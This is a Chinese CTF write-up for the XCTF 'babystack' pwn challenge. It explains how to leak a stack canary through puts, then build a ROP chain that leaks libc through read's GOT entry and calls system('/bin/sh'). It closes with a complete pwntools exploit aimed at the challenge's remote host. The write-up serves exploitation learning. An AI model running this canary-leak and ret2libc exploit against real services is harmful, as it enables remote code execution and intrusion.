[WP] 攻防世界 babystack
进入IDA发现输入1读入0x100字符
输入2输出栈中字符
Checksec
开启了栈溢出保护,所以我们想要劫持rip需要首先拿到canary
Puts函数在碰到'\x00'后停止输出,不限长度,我们可以将栈空间的前0x88字节覆盖成非'\x00'的字符,再使用puts输出刚才输入的字符+canary前七字节(canary最后一字节一般都为'\x00'):
payload1='a'*0x88
p.recvuntil('>> ')
p.sendline("1")
p.sendline(payload1)
p.recvuntil('>> ')
p.sendline("2")
p.recvuntil('\n')
a=p.recv(7)
canary=u64('\x00'+a)
print ("canary get:"+hex(canary))
接着构造gadget调用puts输出read函数的真实地址,并计算出libc基址,system地址
'/bin/sh'地址
payload2='b'*0x88+p64(canary)*2+p64(poprdiret)+p64(readgot)+p64(putsplt)+p64(start)
p.recvuntil('>> ')
p.sendline("1")
p.send(payload2)
p.recvuntil('>> ')
p.sendline("3")
readaddr=u64(p.recv(6).ljust(8, '\x00'))
print(hex(readaddr))
libc=LibcSearcher('read',readaddr)
libcbase=readaddr-libc.dump('read')
sysaddr=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
print "libcbase:"+hex(libcbase)
print "systemaddr:"+hex(sysaddr)
print "binsh:"+hex(binsh)
注意:rop链最后需要返回到start以平衡堆栈
(我只把babystack文件拖到linux里了没有看到他给了libc文件,这里使用了libcsearcher找到了libc版本,问题不大)
由于栈被重置了,需要再找一次canary
之后可以构造rop链调用system("\bin\sh")拿到shell了
EXP:
#-*- coding: utf:8 -*-
from pwn import *
from LibcSearcher import *
elf=ELF("/root/桌面/New Folder 2/./babystack")
context.log_level="debug"
poprdiret=0x0000000000400a93
poprsir15ret=0x0000000000400a91
readgot=elf.got['read']
putsplt=elf.plt['puts']
start=0x0000000000400720
print hex(readgot)
print hex(putsplt)
#p=process("/root/桌面/New Folder 2/./babystack")
p=remote("111.198.29.45",42709)
payload1='a'*0x88
p.recvuntil('>> ')
p.sendline("1")
p.sendline(payload1)
p.recvuntil('>> ')
p.sendline("2")
p.recvuntil('\n')
a=p.recv(7)
canary=u64('\x00'+a)
print ("canary get:"+hex(canary))
payload2='b'*0x88+p64(canary)*2+p64(poprdiret)+p64(readgot)+p64(putsplt)+p64(start)
p.recvuntil('>> ')
p.sendline("1")
p.send(payload2)
p.recvuntil('>> ')
p.sendline("3")
readaddr=u64(p.recv(6).ljust(8, '\x00'))
print(hex(readaddr))
libc=LibcSearcher('read',readaddr)
libcbase=readaddr-libc.dump('read')
sysaddr=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
print "libcbase:"+hex(libcbase)
print "systemaddr:"+hex(sysaddr)
print "binsh:"+hex(binsh)
p.recvuntil('>> ')
p.sendline("1")
p.sendline(payload1)
p.recvuntil('>> ')
p.sendline("2")
#p.interactive()
p.recvuntil('\n')
a=p.recv(7)
canary=u64('\x00'+a)
print ("canary get:"+hex(canary))
payload3='c'*0x88+p64(canary)*2+p64(poprdiret)+p64(binsh)+p64(sysaddr)+p64(start)
p.recvuntil('>> ')
p.sendline("1")
p.sendline(payload3)
p.recvuntil('>> ')
p.sendline("3")
p.interactive()